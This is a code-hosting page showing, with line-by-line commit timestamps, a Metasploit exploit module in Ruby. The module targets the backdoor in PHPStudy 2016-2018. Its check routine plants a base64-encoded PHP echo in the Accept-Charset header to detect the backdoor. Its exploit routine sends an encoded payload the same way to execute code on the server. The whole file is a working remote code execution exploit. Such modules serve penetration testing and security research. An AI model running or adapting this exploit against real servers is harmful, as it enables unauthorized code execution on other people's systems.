Files
metasploit-gs/modules/exploits/multi/http/phpstudy_backdoor_rce.rb
T

74 lines
2.0 KiB
Ruby
Raw Normal View History

2020-02-22 22:55:45 +08:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2020-02-22 19:53:06 +08:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2020-02-23 10:23:32 +08:00
'Name' => "PHPStudy Backdoor Remote Code execution",
2020-02-22 19:53:06 +08:00
'Description' => %q{
This module can detect and exploit the backdoor of PHPStudy.
},
'License' => MSF_LICENSE,
2020-02-23 14:45:53 +08:00
'Author' =>
2020-02-23 10:23:32 +08:00
[
'Dimensional', #POC
'Airevan' #Metasploit Module
],
2020-02-22 19:53:06 +08:00
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['PHPStudy 2016-2018', {}]
],
2020-02-23 10:23:32 +08:00
'References' =>
[
['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
],
2020-02-22 19:53:06 +08:00
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2019-09-20',
2020-02-22 19:53:06 +08:00
'DefaultTarget' => 0
))
2020-02-23 10:23:32 +08:00
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the target file on the system, usually l.php or index.php', '/l.php'])
2020-02-23 10:23:32 +08:00
])
2020-02-22 19:53:06 +08:00
end
def check
uri = target_uri.path
2020-02-22 22:55:45 +08:00
fingerprint = Rex::Text.rand_text_alpha(8)
2020-02-22 19:53:06 +08:00
res = send_request_cgi({
'method' => 'GET',
2020-11-24 14:05:49 +08:00
'uri' => normalize_uri(uri),
2020-02-22 19:53:06 +08:00
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
2020-02-22 22:55:45 +08:00
'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';")
2020-02-22 19:53:06 +08:00
}
})
2020-02-22 22:55:45 +08:00
if res && res.code == 200 && res.body.to_s.include?(fingerprint)
2020-02-22 19:53:06 +08:00
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
2020-02-23 13:03:13 +08:00
end
2020-02-22 19:53:06 +08:00
end
2020-02-23 13:03:13 +08:00
def exploit
2020-02-22 19:53:06 +08:00
uri = target_uri.path
print_good("Sending shellcode")
res = send_request_cgi({
'method' => 'GET',
2020-11-24 14:05:49 +08:00
'uri' => normalize_uri(uri),
2020-02-22 19:53:06 +08:00
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
2020-02-22 22:55:45 +08:00
'Accept-Charset' => Rex::Text.encode_base64(payload.encoded)
2020-02-22 19:53:06 +08:00
}
2020-02-23 10:23:32 +08:00
})
2020-02-22 19:53:06 +08:00
end
end